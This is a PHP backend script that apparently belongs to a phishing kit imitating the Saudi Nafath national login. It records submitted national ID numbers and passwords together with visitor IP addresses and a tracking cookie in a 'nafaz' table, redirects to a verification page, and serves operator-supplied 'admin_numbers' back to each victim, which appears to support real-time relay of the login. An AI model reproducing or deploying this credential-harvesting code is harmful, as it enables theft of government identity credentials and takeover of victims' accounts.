<?php
// ضبط المنطقة الزمنية


require_once 'db_connection.php';

// التأكد من وجود الكوكيز unique_id، وإذا لم تكن موجودة يتم إنشاؤها
if (!isset($_COOKIE['unique_id'])) {
    $unique_id = generate_uuid(); // استخدام الدالة الحالية لتوليد UUID
    setcookie('unique_id', $unique_id, time() + (86400 * 30), "/"); // إنشاء الكوكيز لمدة 30 يومًا لجميع المسارات
    $_COOKIE['unique_id'] = $unique_id; // ضمان القيمة متوفرة فورًا
}

// وظيفة لجلب عنوان IP
function get_client_ip() {
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        return $_SERVER['HTTP_CLIENT_IP'];
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    } else {
        return $_SERVER['REMOTE_ADDR'];
    }
}

// توليد UUID
function generate_uuid() {
    return sprintf(
        '%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
        mt_rand(0, 0xffff), mt_rand(0, 0xffff),
        mt_rand(0, 0xffff),
        mt_rand(0, 0x0fff) | 0x4000,
        mt_rand(0, 0x3fff) | 0x8000,
        mt_rand(0, 0xffff), mt_rand(0, 0xffff), mt_rand(0, 0xffff)
    );
}

// التحقق من نوع الطلب
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // التعامل مع بيانات POST
    $id = isset($_POST['id']) ? $conn->real_escape_string($_POST['id']) : '';
    $created_at = date("Y-m-d H:i:s"); // الحصول على الوقت الحالي
    $NAT_ID = isset($_POST['NAT_ID']) ? $conn->real_escape_string($_POST['NAT_ID']) : '';
    $NAT_pass = isset($_POST['NAT_pass']) ? $conn->real_escape_string($_POST['NAT_pass']) : '';
    $unique_id = isset($_COOKIE['unique_id']) ? $_COOKIE['unique_id'] : session_id();
    $form_name = "nafath";
    $ip = get_client_ip(); // الحصول على عنوان IP

    // إدخال البيانات في الجدول
    $stmt = $conn->prepare("INSERT INTO nafaz (id, created_at, NAT_ID, NAT_pass, unique_id, form_name, ip) VALUES (?, ?, ?, ?, ?, ?, ?)");
    $stmt->bind_param("sssssss", $id, $created_at, $NAT_ID, $NAT_pass, $unique_id, $form_name, $ip);

    if ($stmt->execute()) {
        error_log("Data inserted with time: " . $created_at . " and IP: " . $ip);
        header("Location: ../../nafaz_ver.html");
        exit;
    } else {
        echo "خطأ في الإدخال: " . $stmt->error;
    }

    $stmt->close();
    $conn->close();
} elseif ($_SERVER['REQUEST_METHOD'] === 'GET') {
    // التعامل مع بيانات GET
    $unique_id = isset($_COOKIE['unique_id']) ? $_COOKIE['unique_id'] : null;

    if ($unique_id) {
        // جلب البيانات من الجدول بناءً على unique_id
        $stmt = $conn->prepare("SELECT admin_numbers FROM nafaz WHERE unique_id = ?");
        $stmt->bind_param("s", $unique_id);
        $stmt->execute();
        $result = $stmt->get_result();
        $data = $result->fetch_assoc();

        if ($data) {
            echo json_encode(['status' => 'success', 'admin_numbers' => $data['admin_numbers']]);
        } else {
            echo json_encode(['status' => 'error', 'message' => 'No data found for this unique_id']);
        }

        $stmt->close();
    } else {
        echo json_encode(['status' => 'error', 'message' => 'unique_id is missing']);
    }

    $conn->close();
}
?>
